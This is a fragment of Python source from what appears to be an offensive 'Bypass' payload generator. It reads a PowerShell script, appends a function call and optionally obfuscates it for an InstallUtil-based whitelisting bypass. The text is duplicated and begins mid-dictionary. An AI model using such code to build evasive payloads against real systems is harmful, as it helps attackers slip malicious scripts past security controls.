# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/invoke_obfuscation.py
# def asciiEncode(scriptString):
# def binaryEncode(scriptString):


import base64
from Tools.Bypass.bypass_common import bypass_helpers
from Tools.Bypass.bypass_common import gamemaker
from Tools.Bypass.bypass_common import invoke_obfuscation
                                    "OBFUSCATION"    : ["X", "Optional: Use python Invoke-Obfuscation on the powershell script (binary or ascii)"]
                                }

    def generate(self):
        options = []
        for option in self.cli_opts.c:
            if "," in option:
                options = option.split(",")
            if " " in option:
                options = option.split(" ")

        for o in options:
            for i in self.required_options:
                if i in o:
                    self.required_options[i][0] = o.strip("{0}=".format(i))

        with open(self.required_options["SCRIPT"][0], "r") as f:
            the_script = f.read()

        if self.required_options["FUNCTION"][0].lower() != "x":
            # Append FUNCTION to end of script
            the_script += "\n{0}".format(self.required_options["FUNCTION"][0])
            FunctionName = self.required_options["FUNCTION"][0]
        else:
            FunctionName = "\"None\""

        if self.required_options["OBFUSCATION"][0].lower() != "x":
            if self.required_options["OBFUSCATION"][0].lower() == "binary":
                the_script = invoke_obfuscation.binaryEncode(the_script)
            elif self.required_options["OBFUSCATION"][0].lower() == "ascii":

# Path: Tools/Bypass/bypass_common/bypass_helpers.py
# def deflate(string_val):
# def compileToTemp(language, payloadSource):
# def expiring_payload_variables():
# def format_long(title, message, frontTab=True, spacing=16):
# def inflate(b64string):
# def LHOST():
# def obfuscateNum(N, mod):
# def print_dict_message(commands, show_title=True):
# def randomString(length=-1):
# def title_screen():
# 
# Path: Tools/Bypass/bypass_common/gamemaker.py
# def senecas_games(bypass_payload):
# 
# Path: Tools/Bypass/bypass_common/invoke_obfuscation.py
# def asciiEncode(scriptString):
# def binaryEncode(scriptString):


# Path: Tools/Bypass/payloads/installutil/powershell/script.py
import base64
from Tools.Bypass.bypass_common import bypass_helpers
from Tools.Bypass.bypass_common import gamemaker
from Tools.Bypass.bypass_common import invoke_obfuscation

                                    "OBFUSCATION"    : ["X", "Optional: Use python Invoke-Obfuscation on the powershell script (binary or ascii)"]
                                }

    def generate(self):
        options = []
        for option in self.cli_opts.c:
            if "," in option:
                options = option.split(",")
            if " " in option:
                options = option.split(" ")

        for o in options:
            for i in self.required_options:
                if i in o:
                    self.required_options[i][0] = o.strip("{0}=".format(i))

        with open(self.required_options["SCRIPT"][0], "r") as f:
            the_script = f.read()

        if self.required_options["FUNCTION"][0].lower() != "x":
            # Append FUNCTION to end of script
            the_script += "\n{0}".format(self.required_options["FUNCTION"][0])
            FunctionName = self.required_options["FUNCTION"][0]
        else:
            FunctionName = "\"None\""

        if self.required_options["OBFUSCATION"][0].lower() != "x":
            if self.required_options["OBFUSCATION"][0].lower() == "binary":
                the_script = invoke_obfuscation.binaryEncode(the_script)
            elif self.required_options["OBFUSCATION"][0].lower() == "ascii":

                the_script = invoke_obfuscation.asciiEncode(the_script)